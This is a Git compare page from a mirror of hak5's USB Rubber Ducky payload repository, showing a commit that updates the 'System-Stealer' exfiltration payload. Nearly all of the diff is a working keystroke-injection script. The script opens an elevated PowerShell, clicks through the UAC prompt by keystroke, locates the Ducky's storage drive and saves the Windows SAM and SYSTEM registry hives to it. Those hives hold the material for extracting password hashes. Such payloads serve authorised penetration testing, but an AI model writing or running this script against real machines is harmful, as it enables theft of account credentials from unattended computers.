hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Compare commits

base: hak5:9da53516ffd12b54a60b05208eed0e8515477aa0
Branches Tags
hak5:master
hak5:improve-duckylogger
hak5:more_extensions
hak5:add-docs
...
compare: hak5:5036fd1b9f89402e55c1f0bb144ac963c4b8d189
Branches Tags
hak5:master
hak5:improve-duckylogger
hak5:more_extensions
hak5:add-docs

2 Commits
9da53516ff ... 5036fd1b9f

Author SHA1 Message Date
Mavis Coffey 5036fd1b9f
Merge 61eb88ab6c into 675972662a 2024-10-22 14:42:24 -04:00
Mavis Coffey 61eb88ab6c
Update payload.txt 2024-10-22 14:41:32 -04:00
1 changed files with 10 additions and 6 deletions
Show Stats Expand all files Collapse all files

16
payloads/library/exfiltration/System-Stealer/payload.txt
View File

@ -47,24 +47,28 @@ EXTENSION PASSIVE_WINDOWS_DETECT
END_IF
END_REM
END_EXTENSION
REM Change $DRIVELABEL to the storage label of your duck
DEFINE #DRIVELABEL DUCKY
IF ($_OS == WINDOWS) THEN
INJECT_MOD GUI R
GUI r
DELAY 500
STRING cmd
STRING powershell
DELAY 1000
CTRL-SHIFT-ENTER
DELAY 750
LEFT
ENTER
DELAY 1000
REM Change $DRIVELABEL to the storage label of your duck
DEFINE #DRIVELABEL D:
STRINGLN reg save HKLM\sam #DRIVELABEL/sam.save
STRINGLN $DriveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_LogicalDisk WHERE VolumeName='#DRIVELABEL'").DeviceID; Set-Variable -Name 'DriveLetter' -Value $DriveLetter -Scope Global; Write-Output $DriveLetter
DELAY 250
STRINGLN reg save HKLM\sam $DriveLetter/sam.save
WAIT_FOR_STORAGE_ACTIVITY
WAIT_FOR_STORAGE_INACTIVITY
STRINGLN reg save HKLM\system #DRIVELABEL/system.save
STRINGLN reg save HKLM\system $DriveLetter/system.save
WAIT_FOR_STORAGE_ACTIVITY
WAIT_FOR_STORAGE_INACTIVITY
ALT F4
ELSE
ATTACKMODE OFF
STOP_PAYLOAD
END_IF